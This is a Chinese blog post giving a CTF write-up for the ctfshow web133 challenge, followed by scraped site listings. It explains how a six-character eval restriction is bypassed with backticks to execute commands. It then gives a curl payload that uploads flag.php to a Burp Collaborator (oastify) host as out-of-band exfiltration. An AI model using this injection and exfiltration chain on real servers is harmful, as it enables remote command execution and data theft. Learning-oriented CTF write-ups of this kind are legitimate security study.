news 2026/6/22 23:39:06

ctfshow-web133

作者头像

张小明

前端开发工程师

1.2k 24
文章封面图
ctfshow-web133

PS:萌新ctfer的解题过程,如有错误之处恳请师傅们指正

(做这道题时需要配备BurpSuite专业版,可自行查阅相关资料进行配置,这里我找了两个链接1、链接2)

一:前置知识

做这道题时我们需要用到BurpSuite专业版里的Collaborator模块,这是 Burp Suite 中用于检测带外交互漏洞【OBB】(参考)的核心工具,主要通过生成唯一的外部交互地址,捕捉目标服务器与外部系统的交互行为,从而验证那些无直接回显的漏洞,是渗透测试和 CTF 中检测盲漏洞的关键工具。

核心功能与作用原理

Collaborator 的核心是搭建外部交互桥梁:它会生成一个唯一的二级域名(如xxxx.burpcollaborator.net),我们将这个地址插入到测试的 Payload 中发送给目标服务器。如果目标服务器存在漏洞并执行了 Payload,就会主动访问这个外部域名,Collaborator Client 会捕获到这次交互并记录详细信息,以此证明漏洞存在。

二:具体题目

1.初步判断

打开靶场,有一下php代码:

error_reporting(0); highlight_file(__FILE__); //flag.php if($F = @$_GET['F']){ //GET方式传入F if(!preg_match('/system|nc|wget|exec|passthru|netcat/i', $F)){ //这里要绕过正则匹配 eval(substr($F,0,6)); //从0开始截断F的字符到6位置,就是F只读取前六个字符 }else{ die("6个字母都还不够呀?!"); } }

这里我们发现一个问题:F只能传入六个字符,那么我们构造不出什么命令可以让之后的eval执行,我没见过这种题,所以网上找了别的师傅的WP用的是$F【相当于F本身】:

  1. 反引号 ``:在 PHP 中,反引号包裹的内容会被当作系统命令执行,等价于shell_exec()函数(而shell_exec没有被过滤,这是绕过的关键)。
  2. $F变量:这里的$F是 GET 传入的整个F参数的内容,PHP 会先解析变量$F,再执行反引号中的命令。
  3. 分号;:是 PHP 的语句结束符,确保前 6 个字符构成完整的 PHP 语句

因此,我们的payload格式应该是这样的:

?F=`$F`; XXXXXXXXXXXXXXXXXXXXX

2.具体构造

这里就要用到我们之前讲的Collaborator了,我们打开BurpSuite的Collaborator模块,可以看到是这样的:

这里的payloads to generate 就是生成我们的Collaborator 带外交互平台的临时域名数量,这里我们选择一个就好,然后我们点击copy to clipboard【这里点了之后就是直接复制到剪贴版了,刚用的时候英文不太好不知道啥意思,以为是在下面显示所以按了好久没按出来】

下面是我复制的临时域名:ffywo4qho06y82ab885yvruocfi76zuo.oastify.com

这里先给出我们的payload再一一解释:

?F=`$F`;+curl -X POST -F xx=@flag.php http://ffywo4qho06y82ab885yvruocfi76zuo.oastify.com

1)总体结构

首先,这里最开始的?F=`$F`;就是我们上传的F参数,后面的所有都是F里面的内容

2)curl 命令

curl是一个命令行工具/库,用来向服务器发送或接收数据,支持多种协议(HTTP、HTTPS、FTP、SFTP 等)。

这个curl命令是将本地的 flag.php 文件上传到外部的oastify.com协作服务器(也就是我们之前的 Burp Collaborator 类似的带外交互平台),从而实现 flag 的外带:

  • -X POST:使用 POST 请求方式。
  • -F xx=@flag.php:构造表单上传,把本地的flag.php文件作为xx字段的值上传到目标地址。

(有时候ai回答一些基本的问题还是很可以的,用好了也是一大助力。这里的xx表单字段是自定义的,可以换成别的如file data等等)

  • ffywo4qho06y82ab885yvruocfi76zuo.oastify.com:是 oastify 的临时域名,用于接收上传的文件内容,我们可以在 oastify 的后台查看这个请求,从而获取flag.php的内容。

3.flag获取

我们直接将这个payload写在url里面回车上传,然后再回到BP查看【我喜欢点一下Poll now】

找到HTTP,发现flag:

三:结语

我们可以再回顾一下总体流程加深一下印象:

  1. 生成Collaborator域名 在Burp Suite专业版中打开Collaborator模块,生成临时域名用于接收数据。

  2. 构造完整Payload 将curl命令拼接到基础Payload

  3. 发送请求 将构造好的URL提交到目标服务器。

  4. 查看回传数据 在Collaborator界面点击"Poll now",查看HTTP请求中携带的flag.php文件内容。

还有相应的注意事项:

  • 确保Burp Suite Collaborator配置正确,能接收外部请求
  • curl命令中的临时域名需替换为实际生成的Collaborator域名
  • 表单字段名称可自定义,但需保持前后一致
  • 目标环境需允许出站连接

通过这种方法可以突破长度限制,实现命令执行并获取flag内容。

写在最后:

这道题我也是第一次用到Collaborator模块,又学到了一个新知识【ヽ(✿゚▽゚)ノ】其实在最开始描述带外交互漏洞后面的参考链接里有提到诸如SSRF、XXE都用到了这种方法。而常用的工具有:

大菜鸡师傅录制的视频就是用的DNSlog,但我觉得BP的Collaborator功能更强大一点,算是各有所好吧。

版权声明: 本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若内容造成侵权/违法违规/事实不符,请联系邮箱:809451989@qq.com进行投诉反馈,一经查实,立即删除!
网站建设 2026/6/23 8:10:04

游戏串流实战手册:从零搭建高效串流系统

游戏串流实战手册:从零搭建高效串流系统 【免费下载链接】Sunshine Sunshine: Sunshine是一个自托管的游戏流媒体服务器,支持通过Moonlight在各种设备上进行低延迟的游戏串流。 项目地址: https://gitcode.com/GitHub_Trending/su/Sunshine 还在为…

作者头像 李华
网站建设 2026/6/23 12:37:03

小米运动步数自动同步:2025年免费刷步数完整教程

小米运动步数自动同步:2025年免费刷步数完整教程 【免费下载链接】mimotion 小米运动刷步数(微信支付宝)支持邮箱登录 项目地址: https://gitcode.com/gh_mirrors/mimo/mimotion 还在为每天运动步数不够而烦恼吗?想要在微信…

作者头像 李华
网站建设 2026/6/23 18:00:02

原神帧率解锁神器:突破60帧限制的终极解决方案

原神帧率解锁神器:突破60帧限制的终极解决方案 【免费下载链接】genshin-fps-unlock unlocks the 60 fps cap 项目地址: https://gitcode.com/gh_mirrors/ge/genshin-fps-unlock 还在为原神60帧的画面限制而烦恼吗?想要体验更流畅、更丝滑的游戏操…

作者头像 李华
网站建设 2026/6/23 2:52:26

STL——set

1. 核心概念:什么是 set? std::set是C标准模板库(STL)中的一种关联式容器。它的核心特性可以概括为以下三点: 唯一性:容器内的所有元素都是唯一的,不允许重复。 有序性:元素在容器中总是按照特定的严格弱…

作者头像 李华
网站建设 2026/6/23 3:36:56

[CTF]攻防世界:fakebook (sql注入)

题目:攻防世界:fakebook (sql注入) 提示:sql注入步骤 进入网站查看下功能点,一个登录一个加入。加入一个注册后自动返回首页,显示出了刚刚注册的用户信息,并且可以点开。这是点开后的…

作者头像 李华
网站建设 2026/6/23 19:15:24

Zepp Life自动刷步终极指南:3分钟搞定微信支付宝同步

Zepp Life自动刷步终极指南:3分钟搞定微信支付宝同步 【免费下载链接】mimotion 小米运动刷步数(微信支付宝)支持邮箱登录 项目地址: https://gitcode.com/gh_mirrors/mimo/mimotion 想要在微信运动排行榜上脱颖而出,却苦于…

作者头像 李华